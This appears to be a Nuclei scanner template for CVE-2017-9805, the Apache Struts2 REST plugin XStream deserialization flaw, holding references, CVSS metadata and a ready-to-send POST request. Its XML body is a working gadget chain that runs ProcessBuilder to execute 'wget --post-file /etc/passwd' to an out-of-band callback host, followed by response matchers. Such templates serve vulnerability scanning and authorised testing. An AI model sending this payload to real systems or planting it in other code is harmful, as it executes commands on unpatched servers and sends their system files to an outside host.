107 lines
4.3 KiB
YAML
107 lines
4.3 KiB
YAML
id: CVE-2017-9805
|
|
|
|
info:
|
|
name: Apache Struts2 S2-052 - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: high
|
|
description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.
|
|
reference:
|
|
- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
|
|
- https://struts.apache.org/docs/s2-052.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-9805
|
|
- http://www.securitytracker.com/id/1039263
|
|
- https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2017-9805
|
|
cwe-id: CWE-502
|
|
epss-score: 0.97548
|
|
cpe: cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*
|
|
epss-percentile: 0.99992
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: struts
|
|
tags: cve,cve2017,apache,rce,struts,kev
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/struts2-rest-showcase/orders/3"
|
|
- "{{BaseURL}}/orders/3"
|
|
|
|
body: |
|
|
<map>
|
|
<entry>
|
|
<jdk.nashorn.internal.objects.NativeString>
|
|
<flags>0</flags>
|
|
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
|
<dataHandler>
|
|
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
|
<is class="javax.crypto.CipherInputStream">
|
|
<cipher class="javax.crypto.NullCipher">
|
|
<initialized>false</initialized>
|
|
<opmode>0</opmode>
|
|
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
|
<iter class="javax.imageio.spi.FilterIterator">
|
|
<iter class="java.util.Collections$EmptyIterator"/>
|
|
<next class="java.lang.ProcessBuilder">
|
|
<command>
|
|
<string>wget</string>
|
|
<string>--post-file</string>
|
|
<string>/etc/passwd</string>
|
|
<string>{{interactsh-url}}</string>
|
|
</command>
|
|
<redirectErrorStream>false</redirectErrorStream>
|
|
</next>
|
|
</iter>
|
|
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
|
<method>
|
|
<class>java.lang.ProcessBuilder</class>
|
|
<name>start</name>
|
|
<parameter-types/>
|
|
</method>
|
|
<name>asdasd</name>
|
|
</filter>
|
|
<next class="string">asdasd</next>
|
|
</serviceIterator>
|
|
<lock/>
|
|
</cipher>
|
|
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
|
<ibuffer></ibuffer>
|
|
<done>false</done>
|
|
<ostart>0</ostart>
|
|
<ofinish>0</ofinish>
|
|
<closed>false</closed>
|
|
</is>
|
|
<consumed>false</consumed>
|
|
</dataSource>
|
|
<transferFlavors/>
|
|
</dataHandler>
|
|
<dataLen>0</dataLen>
|
|
</value>
|
|
</jdk.nashorn.internal.objects.NativeString>
|
|
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
|
</entry>
|
|
<entry>
|
|
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
|
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
|
</entry>
|
|
</map>
|
|
|
|
headers:
|
|
Content-Type: application/xml
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Debugging information"
|
|
- "com.thoughtworks.xstream.converters.collections.MapConverter"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 500
|